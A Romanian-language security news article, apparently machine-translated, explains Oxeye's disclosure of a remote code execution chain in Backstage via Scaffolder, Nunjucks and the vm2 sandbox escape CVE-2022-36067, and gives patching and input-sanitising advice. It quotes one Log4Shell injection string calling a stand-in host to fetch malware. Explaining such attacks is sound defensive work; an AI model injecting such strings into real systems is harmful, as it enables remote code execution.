Orificiu de execuție a codului asemănător Log4Shell în instrumentul popular de dezvoltare Backstage

Cercetătorii de la compania de securitate pentru codificare în cloud Oxeye au scris o eroare critică pe care au descoperit-o recent în setul popular de instrumente de dezvoltare în cloud Backstage.

Lor raportează include o explicație a modului în care funcționează eroarea, plus un cod de probă de concept (PoC) care arată cum să-l exploateze.

Backstage este ceea ce este cunoscut sub numele de portal pentru dezvoltatori cloud – un fel de backend cu logică de afaceri care facilitează construirea de API-uri bazate pe web (interfețe de programare a aplicațiilor) pentru a permite codificatorilor din interiorul și din afara companiei dvs. să interacționeze cu serviciile dvs. online.

În cuvintele proiectului în sine, creat inițial la Spotify, dar acum open source pe GutHub:

Backstage este o platformă deschisă pentru construirea de portaluri pentru dezvoltatori. Având la bază un catalog de software centralizat, Backstage restabilește ordinea microserviciilor și infrastructurii și permite echipelor de produse să livreze rapid cod de înaltă calitate, fără a compromite autonomia.

Backstage unifică toate instrumentele, serviciile și documentația de infrastructură pentru a crea un mediu de dezvoltare optimizat de la capăt la capăt.

Nu, nici nu știm cu adevărat ce înseamnă asta, dar știm că setul de instrumente este scris în JavaScript, rulează folosind sistemul JavaScript de pe partea de server node.jsși atrage o rețea de dependențe ale lanțului de aprovizionare din ecosistemul NPM.

NPM este prescurtarea pentru Manager de pachete Node, un set de instrumente automatizat pentru a vă asigura că codul dvs. JavaScript back-end poate utiliza cu ușurință o gamă largă de biblioteci open source care oferă instrumente de ajutor populare, pre-scrise, pentru orice, de la criptografie și gestionarea bazelor de date până la înregistrare și controlul versiunilor.

Executarea codului de la distanță

Din păcate, bug-ul dezvăluit astăzi, dacă nu este corectat, ar putea oferi persoanelor din afara neautentificate (în mod liber, oricui poate face conexiuni API la serverele dvs.) o modalitate de a declanșa execuția codului de la distanță (RCE) în interiorul serverelor de business-logic din rețeaua dvs.

Din fericire, totuși, dacă am interpretat corect articolul lui Oxeye, atacul pe care îl descriu pentru RCE-ul lor Backstage depinde de o secvență de defecte de codare care depind în cele din urmă de un anumit bug, desemnat CVE-2022-36067 într-o componentă a lanțului de aprovizionare pe care se bazează Backstage numită vm2.

În cazul în care vă întrebați, vm2 este un modul NPM de uz general care implementează o „mașină virtuală sandbox” care își propune să facă JavaScript potențial riscant un pic mai sigur de rulat pe serverele dumneavoastră.

Acea eroare CVE-2022-36067 în vm2 a fost raportate în august 2022 de către Oxeye însuși (care i-a dat un nume prietenos cu PR de „Sandbreak”, deoarece a ieșit din sandbox) și petice prompt de echipa vm2 acum aproape trei luni.

Deci, din câte putem vedea, dacă sunteți un utilizator Backstage, veți dori să vă asigurați că ați corectat toate componentele expuse riscului din configurarea Backstage...

…dar dacă ați corectat componenta vm2 care era vulnerabilă la Sandbreak cu toate acele luni în urmă, atunci se pare că nu sunteți direct vulnerabil la exploitul descris în cea mai recentă dezvăluire a lui Oxeye.

De asemenea, dacă serverele dvs. Backstage sunt configurate conform regulilor bune de securitate cibernetică, cu autentificarea necesară atât la marginea rețelei, cât și în interiorul rețelei, nu veți fi expus riscului de a face probe aleatorii „doar pentru cercetători” de la persoane „utile” determinate. pentru a arăta că sunt interesați de „cercetarea” amenințărilor cibernetice.

Un atac cu „brânză Emmenthal”.

Mai simplu spus, noile probleme de securitate dezvăluite sunt efectul secundar al unei serii de probleme de securitate, cum ar fi găuri în felii de brânză Emmenthal care ar putea fi pătruns în succesiune dacă un atacator este capabil să alinieze cel puțin o gaură pe fiecare felie.

După cum înțelegem noi, Backstage include o componentă numită Scaffolder, care, după cum sugerează și numele, vă ajută să gestionați diferitele suplimente (cunoscute sub numele de pluginuri) de care comunitatea dvs. de dezvoltatori le-ar putea dori sau are nevoie.

Scaffolder, la rândul său, folosește un sistem de înregistrare a mesajelor de la Mozilla cunoscut sub numele de Nunjucks, care include ceea ce este cunoscut sub numele de șablon de șir in node.js cercuri, ca interpolarea șirurilor în lumea Java și ca substituție de șiruri pentru administratorii de sistem care folosesc shell-uri de comandă, cum ar fi Bash.

Dacă interpolarea șirurilor sună un clopoțel, probabil că se află în centrul Log4shell. vulnerabilitatea din decembrie 2021 și a Follina bug la mijlocul anului 2022.

Este locul în care ajungeți să rescrieți conținutul unui mesaj de înregistrare pe baza „caracterelor de codare” speciale într-un șablon de șir, astfel încât un șir precum $USER poate fi înlocuit cu numele contului folosit de server sau ${PID} ar putea prelua ID-ul procesului curent.

În cazul extrem al Log4Shell, incantația cu aspect curios ${jndi:ldap://example.com:8888/malware} ar putea păcăli direct serverul să descarce un program numit malware din example.com și rulând-o în tăcere în fundal.

Cu alte cuvinte, trebuie să vă asigurați că datele care vin dintr-o sursă neîncrezătoare, cum ar fi un utilizator extern, nu sunt niciodată transmise orbește într-un șablon de șir sau într-o funcție de interpolare a șirurilor pentru a fi utilizate. ca textul șablonului însuși.

Dacă un utilizator de la distanță, de exemplu, încearcă să păcălească serverul dvs. dându-și numele de utilizator ca ${{RISKY}} (presupunând că biblioteca de șabloane folosește ${{...}} ca marker special), trebuie să vă asigurați că codul dvs. de înregistrare va înregistra corect acel text cu aspect obraznic, literal, așa cum a fost primit...

… în loc să permită textului înregistrat să preia controlul asupra funcției de înregistrare în sine!

În cuvintele unei vechi versuri, trebuie să te asiguri că nu ajungi să cânți: „Există o gaură în mine. ${{BUCKET}}, dragă Liza, dragă Liza, e o gaură în mine ${{BUCKET}}, dragă Liza. O gaură!"

Înfășurat într-o pătură de siguranță

Pentru a fi corect, funcționalitatea poate prea puternică de șabloane/interpolare a Nunjucks este încadrată de Backstage în încă o componentă a lanțului de aprovizionare, și anume sistemul sandboxing vm2 menționat mai sus, care ar trebui să limiteze pericolul pe care un utilizator rău intenționat l-ar putea face cu booby. -date de intrare prinse.

Din păcate, cercetătorii Oxeye au reușit să împerecheze căile de declanșare a codului de șablon de șir recent descoperite în Backstage + Scaffolder + Nunjucks cu vulnerabilitatea mai veche CVE-2022-36067 din pachetul de securitate vm2 pentru a realiza o potențială execuție de cod la distanță pe un server Backstage .

Ce să fac?

Dacă sunteți utilizator Backstage:

• Asigurați-vă că aveți cele mai recente versiuni de Backstage și dependențele sale, inclusiv plugin-scaffolder-backend componentă. Potrivit Oxeye, erorile relevante din codul Backstage au fost corectate până la 01 septembrie 2022, astfel încât orice lansare punctuală oficială după aceste date ar trebui să includă remedieri. La momentul scrierii scrisului [2022-11-1T16:00Z], aceasta include Backstage 1.6.0, 1.7.0 și 1.8.0, lansat pe 2022-09-21, 2022-10-18 și, respectiv, 2022-11-15.
• Verificați dacă instalarea Backstage are autentificarea configurată așa cum vă așteptați. Oxeye susține că autentificarea este dezactivată în mod implicit și că după ce urmează Orientări în culise, serverele backend (care probabil oricum ar trebui să nu fie expuse extern) au permis încă acces neautentificat. Acesta poate fi ceea ce doriți, dar vă recomandăm să utilizați această problemă ca motiv pentru a verifica dacă configurația dvs. corespunde intențiilor dvs.
• Verificați ce părți ale infrastructurii dvs. Backstage pot fi accesate de pe internet. Încă o dată, utilizați această problemă ca motiv pentru a vă scana propria rețea din exterior dacă nu ați făcut acest lucru recent.

Dacă sunteți utilizator node.js/NPM:

• Asigurați-vă că aveți cea mai recentă versiune a componentei sandbox vm2. Este posibil să aveți acest lucru instalat ca o dependență de alt software pe care îl utilizați, chiar dacă nu aveți Backstage. Vulnerabilitatea CVE-2022-36067 a fost corectată pe 2022-08-28, așa că doriți versiunea vm2 3.9.11 sau mai tarziu.

Daca esti programator:

• Fiți cât mai defensiv puteți atunci când apelați funcții puternice de înregistrare. Dacă folosiți un serviciu de înregistrare (inclusiv Nunjucks sau Log4J) care include funcții puternice de șabloane/interpolare, dezactivați toate funcțiile de care nu aveți nevoie, astfel încât să nu poată fi exploatate din greșeală. Asigurați-vă că intrarea neîncrezătoare nu este niciodată folosită ca șablon, prevenind astfel atacatorii să-și lanseze propriile șiruri de intrare direct periculoase.
• Indiferent de orice alte măsuri de precauție aplicate, igienizați-vă intrările și ieșirile de înregistrare. Amintiți-vă că altcineva va trebui să vă deschidă fișierele jurnal în viitor. Nu permiteți să fie scrise capcane nedorite în fișierul dvs. jurnal, unde ar putea cauza probleme mai târziu, cum ar fi fragmente HTML cu etichete de script rămase. (Cineva ar putea deschide fișierul într-un browser din greșeală.)

Chiar și atunci când primiți informații de la o sursă de încredere, rareori există niciun motiv să nu-l supuneți propriilor verificări de igienizare înainte de a-l folosi.

(Puteți justifica ocazional o excepție, de exemplu din motive de performanță, dar ar trebui să fie o excepție, nu o regulă.)

În primul rând, verificarea din nou vă ajută să identificați erorile pe care codificatorii anteriori le-au făcut cu bună-credință; în al doilea rând, ajută la limitarea răspândirii datelor proaste sau capcane dacă o altă parte a ecosistemului tău este compromisă.

Lucrul cu acele felii de brânză Emmenthal pe care le-am menționat mai devreme este că, deși sunt permeabile, dacă cel puțin o gaură se aliniază pe fiecare foaie...

…sunt impermeabile dacă există cel puțin o foaie cu găuri care nu se aliniază deloc!

---